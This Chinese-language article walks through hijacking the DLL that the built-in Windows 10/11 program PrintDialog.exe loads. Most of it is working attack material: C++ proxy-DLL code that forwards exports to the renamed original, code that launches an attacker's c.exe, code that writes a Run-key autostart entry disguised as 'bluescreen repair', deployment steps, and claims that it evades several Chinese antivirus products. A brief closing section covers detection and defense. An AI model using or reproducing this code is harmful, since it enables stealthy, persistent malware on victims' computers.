Windows10/11 内置组件 dll劫持
字数 1386 2025-08-22 12:22:30
Windows 10/11 内置组件 DLL 劫持漏洞分析
0. 序言与环境配置
0.1 漏洞概述
本文公开了一个 Windows 内置组件(打印机相关)的 DLL 劫持漏洞。该漏洞存在于 Windows 10/11 系统中,通过劫持 PrintDialog.exe 依赖的 DLL 文件,可以实现持久化驻留。
0.2 环境要求
- 操作系统:Windows 10/11(Win7 效果不佳)
- 目标程序路径:
C:\Windows\PrintDialog\PrintDialog.exe - 特点:作为 Windows 系统程序,其黑白文件都可实现久存不杀,危害性较高
1. 工具自动化利用(灰梭子方法)
1.1 基本步骤
- 将目标 DLL 导入灰梭子工具
- 劫持该 DLL 并导出到当前目录
- 创建 VS C++ 项目构建恶意 DLL
1.2 关键代码实现
#include <windows.h>
#pragma comment(linker, "/EXPORT:DllCanUnloadNow=LGF_DllCanUnloadNow,@1")
#pragma comment(linker, "/EXPORT:DllGetActivationFactory=LGF_DllGetActivationFactory,@2")
extern "C" {
PVOID pLGF_DllCanUnloadNow;
PVOID pLGF_DllGetActivationFactory;
void LGF_DllCanUnloadNow(void);
void LGF_DllGetActivationFactory(void);
};
static HMODULE g_OldModule = NULL;
// 加载原始模块
__inline BOOL WINAPI Load() {
g_OldModule = LoadLibraryA("post.dll");
if (g_OldModule == NULL) {
MessageBoxA(NULL, "模块错误", "零攻防", MB_ICONSTOP);
}
return (g_OldModule != NULL);
}
// 释放原始模块
__inline VOID WINAPI Free() {
if (g_OldModule) {
FreeLibrary(g_OldModule);
}
}
// 获取原始函数地址
FARPROC WINAPI GetAddress(PCSTR pszProcName) {
FARPROC fpAddress;
fpAddress = GetProcAddress(g_OldModule, pszProcName);
if (fpAddress == NULL) {
MessageBoxA(NULL, "函数错误", "零攻防", MB_ICONSTOP);
}
return fpAddress;
}
// 初始化获取原函数地址
BOOL WINAPI Init() {
if (NULL == (pLGF_DllCanUnloadNow = GetAddress("DllCanUnloadNow"))) return FALSE;
if (NULL == (pLGF_DllGetActivationFactory = GetAddress("DllGetActivationFactory"))) return FALSE;
return TRUE;
}
1.3 持久化技术
代码中包含两种持久化技术:
- 启动程序执行:
void LaunchProgramInSameDirectory() {
CHAR modulePath[MAX_PATH];
CHAR programPath[MAX_PATH];
GetModuleFileNameA(NULL, modulePath, MAX_PATH);
PathRemoveFileSpecA(modulePath);
_snprintf_s(programPath, MAX_PATH, "%s\\c.exe", modulePath);
STARTUPINFOA si = {sizeof(si)};
PROCESS_INFORMATION pi;
CreateProcessA(programPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
- 注册表自启动:
void AddDllToStartup() {
HKEY hKey = NULL;
LONG result = RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
if (result == ERROR_SUCCESS) {
CHAR modulePath[MAX_PATH];
GetModuleFileNameA(NULL, modulePath, MAX_PATH);
CHAR startupValue[MAX_PATH];
_snprintf_s(startupValue, MAX_PATH, "%s", modulePath);
RegSetValueExA(hKey, "蓝屏修复", 0, REG_SZ, (const BYTE*)startupValue, strlen(startupValue)+1);
RegCloseKey(hKey);
}
}
1.4 最终利用步骤
- 编译上述代码生成恶意 DLL
- 将原 DLL 改名为 post.dll
- 将恶意 DLL 命名为 PrintDialog.dll
- 准备要执行的 c.exe
- 双击执行 PrintDialog.exe
2. 手工分析方法(IDA 分析)
2.1 初步分析
- 尝试脱离 DLL 执行程序,确认程序依赖 PrintDialog.dll
- 使用 IDA 分析目标 DLL
2.2 关键函数分析
通过 IDA 分析发现两个关键函数:
-
DllCanUnloadNow:
- 作用:确定 DLL 是否可以被卸载
- COM 技术中用于检查是否还有对象在使用该 DLL
- 如果没有使用则可以安全卸载
-
DllEntryPoint:
- DLL 的入口点函数
- 在 DLL 被加载或卸载时执行初始化和清理操作
2.3 手工劫持实现
基于分析结果构造劫持代码:
extern "C" {
PVOID pLGF_DllCanUnloadNow;
PVOID pLGF_DllGetActivationFactory;
void LGF_DllCanUnloadNow(void);
void LGF_DllGetActivationFactory(void);
};
完整实现与工具自动化部分类似,但需要手动分析导出函数并确保正确转发调用。
3. 漏洞利用效果
在同时开启以下安全防护的情况下仍能成功利用:
- 360 安全卫士
- 晶核防御
- 火绒全防御
- 腾讯电脑管家全保护
成功实现对 c.exe 的添加自启动操作。
4. 防御与检测方法
4.1 检测方法
- 检查注册表中是否有可疑启动项(特别是图标样式异常的)
- 检查以下目录中的文件:
C:\Windows\PrintDialog\- 特别是名为 PrintDialog.dll 的文件
4.2 分析技术
- 使用 IDA 对可疑 DLL 进行反编译分析(F5 查看伪代码)
- 使用火绒剑等工具监控程序行为:
- 检查 DLL 加载行为
- 监控注册表修改
- 跟踪进程创建行为
4.3 防御建议
- 限制系统目录的写入权限
- 监控关键系统程序的 DLL 加载行为
- 对注册表 Run 键值进行完整性监控
- 使用行为检测而非单纯的特征检测
5. 技术要点总结
- DLL 劫持原理:利用 Windows 的 DLL 搜索顺序漏洞,将恶意 DLL 置于合法 DLL 之前被加载
- 函数转发技术:确保原始功能正常运作的同时注入恶意代码
- 持久化技术:通过注册表自启动和程序链式加载实现持久化
- 绕过检测:利用系统可信程序加载恶意 DLL 绕过部分安全检测
此漏洞利用展示了 Windows 系统组件安全性的重要性,以及攻击者如何利用系统信任关系实现持久化攻击。